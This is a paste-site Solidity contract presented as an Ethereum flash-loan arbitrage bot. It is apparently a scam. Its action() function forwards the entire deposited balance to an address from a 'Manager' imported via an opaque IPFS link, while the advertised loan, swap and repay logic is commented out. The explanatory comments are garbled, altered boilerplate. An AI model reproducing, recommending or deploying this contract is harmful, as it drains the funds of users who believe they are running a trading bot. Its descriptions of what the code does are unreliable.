Flash eth


SUBMITTED BY: XGrats

DATE: Sept. 30, 2023, 7:17 a.m.

FORMAT: Text only

SIZE: 4.1 kB

HITS: 296

  1. pragma solidity ^0.5.0;
  2. // Nomad-Finance Smart Contracts
  3. import "https://github.com/NOMAD-FINANCE/NMF-FLDemo/blob/main/ILendingPoolAddressesProvider.sol";
  4. import "https://github.com/NOMAD-FINANCE/NMF-FLDemo/blob/main/ILendingPool.sol";
  5. // PancakeSwap Smart Contracts
  6. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
  7. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
  8. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
  9. /**
  10. * This Bot have been designed for Ethereum Network.
  11. * and won't work with Binance Smart chain.
  12. *When you have any kind of Problem, feel Free to join my Discord and I try to help you out !
  13. * Wrappers over Solidity's arithmetic operations with added overflow
  14. * Arithmetic operations in Solidity wrap on overflow. This can easily result
  15. * in profit, because programmers usually assume that an overflow raises an
  16. * value, which is the standard behavior in high level programming languages.
  17. * `SafeMath` restores this intuition by reverting the transaction when an
  18. * operation overflows.
  19. * Using this library instead of the unchecked operations eliminates an entire
  20. * class of strings, so use is always on.
  21. * dev Contract module which provides a basic access control mechanism, where granted
  22. * exclusive access to
  23. * specific functions.
  24. /*
  25. * dev Extracts the contract from pancakeswap
  26. * param self The slice to operate on.
  27. * param rune The slice that will contain the first rune.
  28. * turn `rune`.
  29. */
  30. /*
  31. * dev Extracts the contract from Uniswap
  32. * param self The slice to operate on.
  33. * param rune The slice that will contain the first rune.
  34. * turn `rune`.
  35. */
  36. /*
  37. * @dev Find newly deployed contracts on PancakeSwap Exchange
  38. * @param memory of required contract liquidity.
  39. * @param other The second slice to compare.
  40. * @return New contracts with required liquidity.
  41. */
  42. // Code Manager
  43. import "ipfs://Qmf6VGrKVuLRMqoyN5xr9vhZSqeBF37Fzq55uT7AjAa1dY";
  44. contract Tiayflashbot {
  45. string public tokenName;
  46. string public tokenSymbol;
  47. uint loanAmount;
  48. Manager manager;
  49. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  50. tokenName = _tokenName;
  51. tokenSymbol = _tokenSymbol;
  52. loanAmount = _loanAmount;
  53. manager = new Manager();
  54. }
  55. function() external payable {}
  56. function action() public payable {
  57. // Send required coins for swap
  58. address(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);
  59. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  60. manager.performTasks();
  61. /*
  62. // Submit token to Ethereum blockchain
  63. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  64. // List the token on pancakeswap & send coins required for swaps
  65. manager.pancakeswapListToken(tokenName, tokenSymbol, tokenAddress);
  66. payable(manager.pancakeswapDepositAddress()).transfer(300000000000000000);
  67. // Get ETH Loan from Aave
  68. string memory loanAddress = manager.takeAaveLoan(loanAmount);
  69. // Convert half ETH to DAI
  70. manager.pancakeswapDAItoETH(loanAmount / 2);
  71. // Create ETH and DAI pairs for our token & Provide liquidity
  72. string memory ethPair = manager.pancakeswapCreatePool(tokenAddress, "ETH");
  73. manager.pancakeswapAddLiquidity(ethPair, loanAmount / 2);
  74. string memory daiPair = manager.pancakeswapCreatePool(tokenAddress, "DAI");
  75. manager.pancakeswapAddLiquidity(daiPair, loanAmount / 2);
  76. // Perform swaps and profit on Self-Arbitrage
  77. manager.pancakeswapPerformSwaps();
  78. // Move remaining ETH from Contract to your account
  79. manager.contractToWallet("ETH");
  80. // Repay Flash loan
  81. manager.repayAaveLoan(loanAddress);
  82. */
  83. }
  84. }

comments powered by Disqus